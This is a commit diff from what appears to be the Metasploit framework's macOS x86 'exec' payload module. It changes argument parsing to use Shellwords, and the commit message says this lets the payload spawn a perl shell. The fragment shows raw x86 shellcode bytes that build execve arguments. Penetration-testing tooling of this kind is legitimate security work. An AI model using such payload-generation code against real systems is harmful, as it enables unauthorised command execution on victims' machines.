Skip to content

Commit 766a8d5

Browse files
committed
Shellwords! Now you can use exec to get you a perl shell
1 parent 9c12280 commit 766a8d5

File tree

1 file changed

+2
-2
lines changed
  • modules/payloads/singles/osx/x86

1 file changed

+2
-2
lines changed

modules/payloads/singles/osx/x86/exec.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -48,7 +48,7 @@ def initialize(info = {})
4848
def generate_stage
4949
cmd_str = datastore['CMD'] || ''
5050
# Split the cmd string into arg chunks
51-
cmd_parts = cmd_str.split(/[\s]+/)
51+
cmd_parts = Shellwords.shellsplit(cmd_str)
5252
# the non-exe-path parts of the chunks need to be reversed for execve
5353
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
5454
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
@@ -61,7 +61,7 @@ def generate_stage
6161

6262
# now EBX contains &cmd_parts[0], the exe path
6363
if cmd_parts.length > 1
64-
# Build an array of pointers to the arguments we copied on to the stack
64+
# Build an array of pointers to arguments
6565
payload += "\x89\xD9" + # mov ecx, ebx
6666
"\x50" + # push eax; null byte (end of array)
6767
"\x89\xe2" # mov edx, esp (EDX points to the end-of-array null byte)

0 commit comments

Comments
 (0)